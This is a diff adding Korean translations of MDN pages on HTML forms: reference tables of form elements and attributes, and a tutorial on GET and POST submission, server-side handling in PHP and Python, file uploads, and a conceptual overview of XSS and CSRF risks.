+ <thead>
+  <tr>
+   <th scope="col">요소</th>
+   <th scope="col">관련 DOM 인터페이스</th>
+   <th scope="col">설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("button")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLButtonElement")}}</td>
+   <td style="vertical-align: top;"><code>button 요소는 클릭할 수 있는 버튼을 나타낸다.</code></td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("datalist")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLDataListElement")}}</td>
+   <td style="vertical-align: top;"><span style="font-family: 'Courier New';">datalist</span> 요소는 다른 폼 요소의 값에 대한 가능한 옵션들을 나타내는 {{ HTMLElement("option") }} 요소의 집합을 포함합니다. </td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("fieldset")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLFieldSetElement")}}</td>
+   <td style="vertical-align: top;"><span style="font-family: 'Courier New';">fieldset 요소는</span> 폼 안에 여러 폼 요소들을 그룹화 하는데 사용됩니다.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("form")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLFormElement")}}</td>
+   <td style="vertical-align: top;"><code>form</code>  요소는 사용자가 정보를 웹서버로 전송하도록 상호작용하는 요소를 포함하는 문서의 부분으로 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("input")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLInputElement")}}</td>
+   <td style="vertical-align: top;"><code>input 요소는</code> 대화형 컨트롤 폼들을 생성하는데 사용됩니다.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("keygen")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLKeygenElement")}}</td>
+   <td style="vertical-align: top;"><code>keygen</code> 요소는 HTML 폼 요소의 일부로서 쉽게 키 데이터를 발생시키고 공개키를 전송을 위해서 존재 합니다.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("label")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLLabelElement")}}</td>
+   <td style="vertical-align: top;"><code>label</code> 요소는 사용자 인터페이스 항목에 대한 캡션을 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("legend")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLLegendElement")}}</td>
+   <td style="vertical-align: top;"><code>legend</code> 요소는 상위 요소인 {{ HTMLElement("fieldset") }} 컨텐츠를 위한 캡션을 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("meter")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLMeterElement")}}</td>
+   <td style="vertical-align: top;"><code>meter </code>요소는 알려진 범위 안에 정해 저 있는 스칼라 값이나 소수 값 주 하나를 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("optgroup")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLOptGroupElement")}}</td>
+   <td style="vertical-align: top;"><code>optgroup</code> 요소는 {{ HTMLElement("select") }} 요소 안에 있는 옵션 그룹을 생성합니다.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("option")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLOptionElement")}}</td>
+   <td style="vertical-align: top;">HTML<em> </em><code>option<em> </em></code>요소는 {{ HTMLElement("select") }}, {{ HTMLElement("optgroup") }} 또는 {{ HTMLElement("datalist") }}요소 안에 항목을 나타내는 컨트롤을 생성하는데 사용됩니다.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("output")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLOutputElement")}}</td>
+   <td style="vertical-align: top;"><code>output </code>요소는 계산 결과를 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("progress")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLProgressElement")}}</td>
+   <td style="vertical-align: top;"><code>progress</code> 요소는 작업 완료 진행 상태를 나타내는데 사용됩니다.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("select")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLSelectElement")}}</td>
+   <td style="vertical-align: top;"><code>select</code> 요소는 옵션 메뉴를 제공하는 컨트롤을 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td style="vertical-align: top;">{{HTMLElement("textarea")}}</td>
+   <td style="vertical-align: top;">{{domxref("HTMLTextAreaElement")}}</td>
+   <td style="vertical-align: top;"><code>textarea</code> 요소는 다중 라인 일반 텍스트 편집 컨트롤을 나타냅니다.</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Note:</strong> 모든 폼 요소들이나 모든 HTML요소들은 {{domxref("HTMLElement")}} 돔 인터페이스를 지원합니다.</p>
+</div>
+
+<h3 id="HTML_속성" style="line-height: 24px; font-size: 1.71428571428571rem;">HTML 속성</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th>속성 이름</th>
+   <th>요소</th>
+   <th>설명</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>accept</td>
+   <td>{{ HTMLElement("form") }}, {{ HTMLElement("input") }}</td>
+   <td>서버가 받는 형식 목록, 일반적으로 file 형식을 사용합니다.</td>
+  </tr>
+  <tr>
+   <td style="white-space: nowrap;">accept-charset</td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>지원하는 문자 집합 목록</td>
+  </tr>
+  <tr>
+   <td>action</td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>폼을 통해서 전송 정보를 처리하는 프로그램의 URL </td>
+  </tr>
+  <tr>
+   <td>autocomplete</td>
+   <td>{{ HTMLElement("form") }}, {{ HTMLElement("input") }}</td>
+   <td>폼 안에서 브라우저로 부터 자동으로 완성되는 기본 값을 가진 컨트롤 인지 아닌지 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td>autofocus</td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>페이지가 로드된 후 요소가 자동으로 포커스 해야 되는지 설정합니다.</td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <td>challenge</td>
+   <td>{{ HTMLElement("keygen") }}</td>
+   <td>공개 키(public key)와 함께 전송되는 문자열입니다.</td>
+  </tr>
+  <tr>
+   <td>checked</td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>
+    <p>해당 요소가 페이지가 로드될 때 체크된 상태로 나타나도록 설정합니다. </p>
+   </td>
+  </tr>
+  <tr>
+   <td>cols</td>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td>
+    <p>textarea의 세로줄 수를 설정합니다.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>data</td>
+   <td>{{ HTMLElement("object") }}</td>
+   <td>자원의 URL을 명시합니다.</td>
+  </tr>
+  <tr>
+   <td>dirname</td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>disabled</td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("optgroup") }}, {{ HTMLElement("option") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>사용자가 요소와 상호 작용할 수 있는 지 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td>enctype</td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>POST방식으로 전송되는 데이터의 타입을 설정합니다.</td>
+  </tr>
+  <tr>
+   <td>for</td>
+   <td>{{ HTMLElement("label") }}, {{ HTMLElement("output") }}</td>
+   <td>Describes elements which belongs to this one.</td>
+  </tr>
+  <tr>
+   <td>form</td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("label") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("object") }}, {{ HTMLElement("output") }}, {{ HTMLElement("progress") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>
+    <p>요소의 소유자인 폼을 나타냅니다.</p>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <td>high</td>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td>Indicates the lower bound of the upper range.</td>
+  </tr>
+  <tr>
+   <td>keytype</td>
+   <td>{{ HTMLElement("keygen") }}</td>
+   <td>Specifies the type of key generated.</td>
+  </tr>
+  <tr>
+   <td>list</td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>Identifies a list of pre-defined options to suggest to the user.</td>
+  </tr>
+  <tr>
+   <td>low</td>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td>Indicates the upper bound of the lower range.</td>
+  </tr>
+  <tr>
+   <td>max</td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}</td>
+   <td>허용되는 최댓값을 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td>maxlength</td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>요소에서 허용되는 특징의 최대 수를 명시합니다.</td>
+  </tr>
+  <tr>
+   <td>method</td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>Defines which HTTP method to use when submitting the form. Can be GET (default) or POST.</td>
+  </tr>
+  <tr>
+   <td>min</td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("meter") }}</td>
+   <td>허용되는 최솟값을 나타냅니다.</td>
+  </tr>
+  <tr>
+   <td>multiple</td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}</td>
+   <td>Indicates whether multiple values can be entered in an input of the type <code>email</code> or <code>file</code>.</td>
+  </tr>
+  <tr>
+   <td>name</td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("form") }}, {{ HTMLElement("fieldset") }}, {{ HTMLElement("input") }}, {{ HTMLElement("keygen") }}, {{ HTMLElement("output") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>
+    <p>요소의 이름. For example used by the server to identify the fields in form submits.</p>
+   </td>
+  </tr>
+  <tr>
+   <td>novalidate</td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td>This attribute indicates that the form shouldn't be validated when submitted.</td>
+  </tr>
+  <tr>
+   <td>optimum</td>
+   <td>{{ HTMLElement("meter") }}</td>
+   <td>Indicates the optimal numeric value.</td>
+  </tr>
+  <tr>
+   <td>pattern</td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>Defines a regular expression which the element's value will be validated against.</td>
+  </tr>
+  <tr>
+   <td>placeholder</td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Provides a hint to the user of what can be entered in the field.</td>
+  </tr>
+  <tr>
+   <td>readonly</td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Indicates whether the element can be edited.</td>
+  </tr>
+  <tr>
+   <td>required</td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}, {{ HTMLElement("textarea") }}</td>
+   <td>Indicates whether this element is required to fill out or not.</td>
+  </tr>
+  <tr>
+   <td>rows</td>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td>Defines the number of rows in a textarea.</td>
+  </tr>
+  <tr>
+   <td>selected</td>
+   <td>{{ HTMLElement("option") }}</td>
+   <td>Defines a value which will be selected on page load.</td>
+  </tr>
+  <tr>
+   <td>size</td>
+   <td>{{ HTMLElement("input") }}, {{ HTMLElement("select") }}</td>
+   <td>Defines the width of the element (in pixels). If the element's <code>type</code> attribute is <code>text</code> or <code>password</code> then it's the number of characters.</td>
+  </tr>
+  <tr>
+   <td>src</td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td>The URL of the embeddable content.</td>
+  </tr>
+  <tr>
+   <td>step</td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>target</td>
+   <td>{{ HTMLElement("form") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>type</td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("input") }}</td>
+   <td>Defines the type of the element.</td>
+  </tr>
+  <tr>
+   <td>usemap</td>
+   <td>{{ HTMLElement("input") }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>value</td>
+   <td>{{ HTMLElement("button") }}, {{ HTMLElement("option") }}, {{ HTMLElement("input") }}, {{ HTMLElement("meter") }}, {{ HTMLElement("progress") }}</td>
+   <td>Defines a default value which will be displayed in the element on page load.</td>
+  </tr>
+  <tr>
+   <td>wrap</td>
+   <td>{{ HTMLElement("textarea") }}</td>
+   <td>Indicates whether the text should be wrapped.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Normative_reference" style="line-height: 24px; font-size: 1.71428571428571rem;">Normative reference</h3>
+
+<ul>
+ <li><a href="http://www.w3.org/TR/html5/forms.html" lang="en" rel="external" title="http://www.w3.org/TR/html5/forms.html">W3C HTML5 Specification (Forms)</a></li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/forms.html#forms" rel="external" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/forms.html#forms">WHATWG HTML Living Standard (Forms)</a></li>
+</ul>
diff --git a/files/ko/learn/html/forms/sending_and_retrieving_form_data/index.html b/files/ko/learn/html/forms/sending_and_retrieving_form_data/index.html
new file mode 100644
index 0000000000..f1d7c35437
--- /dev/null
+++ b/files/ko/learn/html/forms/sending_and_retrieving_form_data/index.html
@@ -0,0 +1,249 @@
+---
+title: Sending and retrieving form data
+slug: Learn/HTML/Forms/Sending_and_retrieving_form_data
+translation_of: Learn/Forms/Sending_and_retrieving_form_data
+---
+<p><span style="line-height: 1.5;">많은 경우 HTML 폼은 서버에 데이터를 전송할 목적으로 사용된다. </span>서버는 데이터를 처리하고 사용자에게 응답을 보낼 것이다. 간단한 것 처럼 보이지만 데이터가 서버나 사용자에게 피해를 입히지 않기 위해서는 몇가지를 명심해야한다.</p>
+
+<h2 id="데이터는_어디로_갈까">데이터는 어디로 갈까?</h2>
+
+<h3 id="클라이언트서버_구조">클라이언트/서버 구조</h3>
+
+<p><span style="line-height: 1.5;">웹은 간단히 말하면 클라이언트(파이어폭스, 크롬, 사파리, IE 등)는 서버(아파치, Nginx, IIS, 톰켓 등)로 HTTP프로토콜을 사용해 요청을 하는 클라이언트/서버 구조를 기본으로 작동된다.</span> 서버 응답은 요청과 똑같은 프로토콜을 사용한다.</p>
+
+<p><img alt="A basic schema of the Web client/server architecture" src="/files/4291/client-server.png" style="height: 141px; width: 400px;"></p>
+
+<p>클라이언트 측에서 HTML폼 만큼 사용친화적으로 HTTP 요청을 서버에 보내는 편리한 것이 없다.이것은 사용자가 정보를 HTTP요청으로 전달을 할 수있게 만든다.</p>
+
+<h3 id="클라이언트측_데이터_보내기">클라이언트측: 데이터 보내기</h3>
+
+<p>{{HTMLElement("form")}} 요소는 데이터 전송 방법을 정의한다. 제공하는 모든 속성은 사용자가 submit 버튼을 누를때 보내질 요청을 구성할 수 있도록  설계되었다. 두가지 중요한 속성은 {{htmlattrxref("action","form")}} 와 {{htmlattrxref("method","form")}}이다.</p>
+
+<h4 id="htmlattrxrefactionform_속성">{{htmlattrxref("action","form")}} 속성</h4>
+
+<p>이 속성은 데이터를 어디로 보낼 것인지 지정한다. 이 값은 반드시 유효한 URL이어야 한다.만약 이 속성을 지정하지 않으면 데이터는 폼이 있는 페이지의 URL로 보내질 것이다.</p>
+
+<h5 id="Examples">Examples</h5>
+
+<p>첫번째 예제로 데이터는 http://foo.com로 보낼 것이다.</p>
+
+<pre class="brush: html">&lt;form action="http://foo.com"&gt;</pre>
+
+<p class="brush: html">여기에서 데이터는 폼 페이지를 호스팅을 하는 같은 서버로 전송 되지만, 서버의  다른 URL로 전송된다.</p>
+
+<pre class="brush: html">&lt;form action="/somewhere_else"&gt;</pre>
+
+<p class="brush: html">아래와 같이 속성을 지정하지 않으면 {{HTMLElement("form")}} 속성은 데이터를 폼을 포함한 페이지 주소로 보낼 것이다.</p>
+
+<pre class="brush: html">&lt;form&gt;</pre>
+
+<p class="brush: html">이전에 많은 페이지들은 데이터를 반드시 폼을 포함하는 페이지와 같은 페이지에 보내는 것을 나타내는 표기법을 다음과 같이 사용했다. 그러나 HTML5 이후로 속성은 필수로 지정하지 않아도 되기 떄문에 이제 더이상 필요하지 않는다.</p>
+
+<pre class="brush: html">&lt;form action="#"&gt;</pre>
+
+<div class="note">
+<p><strong>Note: </strong>HTTPS(보안 HTTP) 프로토콜을 사용하는 URL을 지정하는 것도 가능하다. 이 것을 사용하면 폼 자체가 안전하지 않은 페이지에 HTTP를 이용해서 접근하는  곳에 호스트된 경우에 데이터는 나머지 요청들과 함께 암호화된다. <span style="line-height: 1.5;">반면, 만약 폼이 보안 페이지에서 호스트 된 경우라도 </span> {{htmlattrxref("action","form")}} 속성에서 <span style="line-height: 1.5;">안전하지 않은 HTTP URL을  지정하면 모든 브라우저는 데이터가 암호화되지 않았기 때문에 데이터를 보낼때마다 보안 경고를 출력할 것이다 </span></p>
+</div>
+
+<h4 id="htmlattrxrefmethodform_속성">{{htmlattrxref("method","form")}} 속성</h4>
+
+<p>이 속성은 데이터를 어떻게 보낼 것인지 정의한다. <a href="/en-US/docs/HTTP" title="/en-US/docs/HTTP">HTTP protocol</a> <span style="line-height: 1.5;">은 요청 방법에 대해 다양한 방법들을 제공한다.  HTML 폼 데이터는 오직 2가지 방법으로 만 전송 할 수 있는데 바로 GET 방식과 POST방식이 있다.</span></p>
+
+<p>이 두 가지 방식의 차이점을 이해하기 위해서는 뒤로 가서 HTTP가 어떻게 작동하는지 살펴봐야한다. 웹에서 리소스에 접근 할 때마다, 브라우저는 URL에 요청을 보낸다. HTTP요청은 두 가지 부분으로 나누어진다. 브라우저 수용력에 대한 전역 메타 테이터들을 포함하는 헤더와 서버에서 지정된 요청을 처리하는데 필요한 정보를 포함하는 바디가 있다.</p>
+
+<h5 id="GET_방식">GET 방식</h5>
+
+<p><span style="line-height: 1.5;">GET 방식은 브라우저에서 서버에 주어진 리소스를 전달해달라고 말하기 위해 사용되는 방식이다. " 이봐 서버 난 이 리소스를 원해" 이 경우 브라우저는 바디가 비어 있는 요청을 하게 된다. </span>바디가 비어 있기 때문에,  만약 폼이 이 방식를 통하여 전송 하는 경우 데이터는 URL에 포함되어 서버로 보내진다.</p>
+
+<h6 id="예제">예제</h6>
+
+<p>다음 폼을 생각 해 봅시다.</p>
+
+<pre class="brush: html">&lt;form action="http://foo.com" method="get"&gt;
+  &lt;input name="say" value="Hi"&gt;
+  &lt;input name="to" value="Mom"&gt;
+  &lt;button&gt;Send my greetings&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>GET 방식을 사용하면 HTTP 요청은 다음과 같다.</p>
+
+<pre>GET /?say=Hi&amp;to=Mom HTTP/1.1
+Host: foo.com</pre>
+
+<h5 id="POST_방식">POST 방식</h5>
+
+<p><span style="line-height: 1.5;">POST 방식은 조금 다르다. </span>이는 브라우저의 HTTP요청 바디안에 제공되는 데이터를 고려한 응답을 요구하기 위해 서버로 보내는 방식이다. "이봐 서버 이 데이터를 보고 이거에 맞는 데이터를 보내봐" <span style="line-height: 1.5;">만약 폼이 이 방식으로 사용하여 요청을 한다면 데이터는 HTTP요청 바디에 추가되어 전송된다.</span></p>
+
+<p>예제</p>
+
+<p>이 폼을 생각해보라(위 예제와 똑같다)</p>
+
+<pre class="brush: html">&lt;form action="http://foo.com" method="post"&gt;
+  &lt;input name="say" value="Hi"&gt;
+  &lt;input name="to" value="Mom"&gt;
+  &lt;button&gt;Send my greetings&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<p>POST 방식을 사용하면 다음과 같이 HTTP 요청을 할 것이다,</p>
+
+<pre>POST / HTTP/1.1
+Host: foo.com
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 13
+
+say=Hi&amp;to=Mom</pre>
+
+<p>Content-Length 헤더는 바디의 크기를 나태내고,  Content-Type 헤더는 서버에 보낼 리소스의 종류 나태낸다. 우리는 비트(bit/조금씩?)에서 이러한 헤더를 설명 할 것이다.</p>
+
+<p><span style="line-height: 1.5;">물론 http 요청은 절대 사용자에게 표시되지 않는다(파이어폭스 웹 콘솔이나 크롬 개발자 툴을 이용하지 않는이상). </span>사용자에게 보여지는 것은 호출한 URL뿐이다. <span style="line-height: 1.5;">그래서 GET 요청은 사용자에게 URL바에서 데이터를 볼 수있지만,  POST 요청은 그러지 못한다. 이것은 두가지 이유에서 매우 중요하다.</span></p>
+
+<ol>
+ <li>만약 패스워드를 전송해야 되는 경우(또는 민간한 데이터의 부분), 절대 URL 바에 데이터를 출력하는 GET 방식을 사용해서는 안된다.</li>
+ <li>만약 거대한 데이터를 보내는경우 POST 방식이 선호 된다. 왜냐하면 몇몇 브라우저는 URL들의 크기를 제한하기 떄문이다. 또한 많은 서버들이 URL들의 길이를 제한한다.</li>
+</ol>
+
+<h3 id="서버측_데이터_가져오기">서버측: 데이터 가져오기</h3>
+
+<p>어떠한 HTTP 방식을 선택 하든지 서버는 키/ 벨류 쌍의 목록과 같은 데이터를 얻기 위해 파싱된 문자열을 받을 것이다. 이러한 목록에 접근하는 방법은 사용하는 개발 플랫폼에 의존되고 어떠한 지정된 프레임워크에서 이것을 사용 할 수 있을것이다. 또한 사용 하는 기술은 동일한 키를 어떻게 처리할 것인지 결정한다. 보통 가장 마지막에 수신된 값이 우선순위를 가진다.</p>
+
+<h4 id="예제_PHP_날것">예제: PHP 날것</h4>
+
+<p>PHP 데이타에 접근 하기 위하여 몇가지 글로벌 객체를 제공한다. POST 방식 사용했다고 생각해보면, 다음과 같은 예제는 단순히 데이터만 받아 사용자에게 출력만 한다. 물론 데이터로 무엇을 할 것인지는 너어게 달려있다. 아마도 데이터를 사용자에게 출력하거나, 데이터베이스에 저장, 이메일에 전송 또는 다른 방법으로 처리할 것이다.</p>
+
+<pre class="brush: php">&lt;?php
+  // The global $_POST variable allow to access the data send with the POST method
+  // To access the data send with the GET method, you can use $_GET
+  $say = htmlspecialchars($_POST['say']);
+  $to  = htmlspecialchars($_POST['to']);
+
+  echo  $say, ' ', $to;</pre>
+
+<p>이 예제는 우리가 보낸 데이터를 페이지에 출력 할 것이다. 이 예제는 다음과 같이 출력할 것이다.</p>
+
+<pre>Hi Mom</pre>
+
+<h4 id="예제_Python">예제: Python</h4>
+
+<p>이 예제는 파이썬을 사용하여 제공된 데이터를 웹페이지에 출력하는 예제입니다. <span style="line-height: 1.5;">CGI 파이썬 패키지를 이용하여 폼데이터에 접근한다.</span></p>
+
+<pre class="brush: python">#!/usr/bin/env python
+import html
+import cgi
+import cgitb; cgitb.enable()     # for troubleshooting
+
+print("Content-Type: text/html") # HTTP header to say HTML is following
+print()                          # blank line, end of headers
+
+form = cgi.FieldStorage()
+say  = html.escape(form["say"].value);
+to   = html.escape(form["to"].value);
+
+print(say, " ", to)</pre>
+
+<p>이 결과는 PHP와 똑같다?.</p>
+
+<pre>Hi Mom</pre>
+
+<h4 id="다른_언어와_프레임_워크">다른 언어와 프레임 워크</h4>
+
+<p> <a href="/en-US/docs/" title="/en-US/docs/">Perl</a>, <a href="/en-US/docs/" title="/en-US/docs/">Java</a>, <a href="http://www.microsoft.com/net" title="http://www.microsoft.com/net">.Net</a>, <a href="/en-US/docs/" title="/en-US/docs/">Ruby</a>등 이와 같은 다른 서버측 기술이 있다. 이중에 최고라고 생각되는 것을 사용하면된다. 즉, 까다로운 일이 될 수 있기 때문에, 직접 기술을 사용하는 것은 매우 드문 일이 있음을 언급하는 것은 가치가있다.(?) <span style="line-height: 1.5;">다음과 같은 폼을 더 쉽게 다루기위해 다음과 같은 좋은 프레임 워크들이 사용된다.</span></p>
+
+<ul>
+ <li><a href="http://symfony.com/" rel="external" title="http://symfony.com/">Symfony</a> for PHP</li>
+ <li><a href="https://www.djangoproject.com/" rel="external" title="https://www.djangoproject.com/">Django</a> for Python</li>
+ <li><a href="http://rubyonrails.org/" rel="external" title="http://rubyonrails.org/">Ruby On Rails</a> for Ruby</li>
+ <li><a href="http://grails.org/" rel="external" title="http://grails.org/">Grails</a> for Java</li>
+ <li>etc.</li>
+</ul>
+
+<p><span style="line-height: 1.5;">이러한 프레임 워크를 사용하는 경우에도 폼을 다루는 것은 어쩔수 없이 쉽지 않다는 것을 주목을 할 필요가 있다.</span> 그러나 이것을 사용하면 많은 시간을 절약 할 수 있다.</p>
+
+<h2 id="특별한_경우_파일_보내기">특별한 경우: 파일 보내기</h2>
+
+<p>파일은 HTML 폼에서 특별한 경우이다. 파일은 2진 데이터 또는 다른 데이터는 텍스트 데이터로 간주된다.HTTP는 텍스트 프로토콜 이기 때문에 2진 데이터를 다루기 위해서는 특별한 요구 사항이있다.</p>
+
+<h3 id="htmlattrxrefenctypeform_속성">{{htmlattrxref("enctype","form")}} 속성</h3>
+
+<p><span style="line-height: 1.5;">이 속성은 Content-Type  HTTP 헤더의 값을 지정할 수 있게 해준다. </span>서버에 데이터가 무슨 종류인지 전달하기 떄문에 이 해더는 매우 중요하다. <span style="line-height: 1.5;">기본 값으로는 application/x-www-form-urlencoded. 이다. 사람 말로는 "이 폼 데이터는 URL 폼 형태로 인코딩되어 있습니다" 이다</span></p>
+
+<p>만약 파일을 보내고 싶다면 두 가지를 해야한다.</p>
+
+<ul>
+ <li>{{htmlattrxref("method","form")}} 속성을 POST 속성으로 지정 해야한다. 왜냐하면 파일 콘텐츠는 폼을 이용하여 URL 매개변수로 보낼수 없기 때문이다.</li>
+ <li>{{htmlattrxref("enctype","form")}}의 값을 multipart/form-data 이라고 지정 해야한다. 왜냐하면 데이터는 여러 조각으로 나누워 지고 각 파일 조각에 같이 보내질 폼바디 텍스트가 추가 되기 때문이다.</li>
+</ul>
+
+<p>예제 </p>
+
+<pre class="brush: html">&lt;form method="post" enctype="multipart/form-data"&gt;
+  &lt;input type="file" name="myFile"&gt;
+  &lt;button&gt;Send the file&lt;/button&gt;
+&lt;/form&gt;</pre>
+
+<div class="note">
+<p><strong>Note:</strong> 몇 브라우저는 {{htmlattrxref("multiple","input")}}속성을 {{HTMLElement("input")}}요소에 지원하여 한번에 여러 요소를 전달 할 수 있다. 이러한 파일을 서버측에서 다루는 방법은 서버에서 어떠한 기술을 사용하냐에 따라서 매우 달라진다. 앞에서 언급 한바와 같이 프레임워크를 사용하면 더 쉽게 이용할 수있다.</p>
+</div>
+
+<div class="warning">
+<p><strong>Warning:</strong> 많은 서버들이 남용을 예방하기 위해 HTTP요청과 파일의 크기를 제한하도록 구성된다. 파일을 전송하기 전에 서버 관리자에게 제한 크기를 확인하는것이 중요하다.</p>
+</div>
+
+<h2 id="보안_코너">보안 코너</h2>
+
+<p>데이터를 서버로 보낼 떄마다 보안성에 대하여 생각해 봐야한다. HTML폼은 서버를 공격하는데 첫번째 매개변수가 될 수있다. 문제는 HTML폼에서 오지 않는다. 서버에서 어떻게 처리하냐에 따라 문제가 발생한다.</p>
+
+<h3 id="일반적인_보안_결함">일반적인 보안 결함</h3>
+
+<p>무엇을 하는지에 따라 잘 알려진 보안 문제가 있다.</p>
+
+<h4 id="XSS_과_CSRF">XSS 과 CSRF</h4>
+
+<p>크로스 사이트 스크립팅(XSS)과 크로스 사이트 요청 위조(CSRF)은 데이터를 출력하기 위해 사용자나 다른 사용자에게 데이터를 보낼떄 공격하는 일반적인 유형이다.</p>
+
+<p>XSS 공격자는 다른 사용자가 볼 웹 페이지에 클라이언트 측 스크립트를 주입할 수있다.크로스 사이트 스크립팅 취약점은 공격자가 동일 출처 정책(<a href="/en-US/docs/JavaScript/Same_origin_policy_for_JavaScript" style="line-height: 1.5;" title="/en-US/docs/JavaScript/Same_origin_policy_for_JavaScript">same origin policy</a><span style="line-height: 1.5;">)의 접근 제어를 우회하여 사용 될 수 있다.</span><span style="line-height: 1.5;"> </span><span style="line-height: 1.5;">이러한 공격은 조금 불편함에서 심각한 보안 위험에 이르기 까지 다양하게 영향을 미친다.</span></p>
+
+<p>CSRF는 XSS와 비슷하게 공격자가 같은 방법으로 시작한다. —클라이언트 스크립트를 웹페이지에 주입한다. - 그러나 이것의 대상은 다르다. CSRF 공격자는 높은 권한 계정(서버 관리자 같은)으로 권한을 상승하려고 시도하고 하지 말아야할 행동들을 할것이다.(예를들어 신뢰 할 수없는 사용자에게 데이터 전송하는 것)</p>
+
+<p>XSS 공격자는 사용자가 웹사이트에 대하여 가진 신뢰를 이용하여 공격자는 웹사이트가 사용자를 신뢰한다는 것을 이용한다.</p>
+
+<p>이러한 공격을 방지하려면 사용자가 서버에 보내는 데이터를 항상 확인해야하며 해당 내용을 표시해야 하는 경우 사용자가 제공한 HTML 콘텐츠를 표시하지 말아야 한다. 대신, 당신이 보여주려는 데이터가 사용자가 제공한 것과 동일한 데이터가 아니도록 데이터를 처리해야 한다. 현재 시장에 나와있는 거의 모든 프레임 워크는 어떤 유저가 보내는 데이터라도 HTML{{HTMLElement ( "script")}},{{HTMLElement ( "iframe")}} 및 {{HTMLElement ( "object")}} 요소를 데이터에서 제거하는 최소한의 필터를 구현한다. 이는 위험을 완화하는 데 도움은 되지만 반드시 근절한다고 보장할 수는 없다.</p>
+
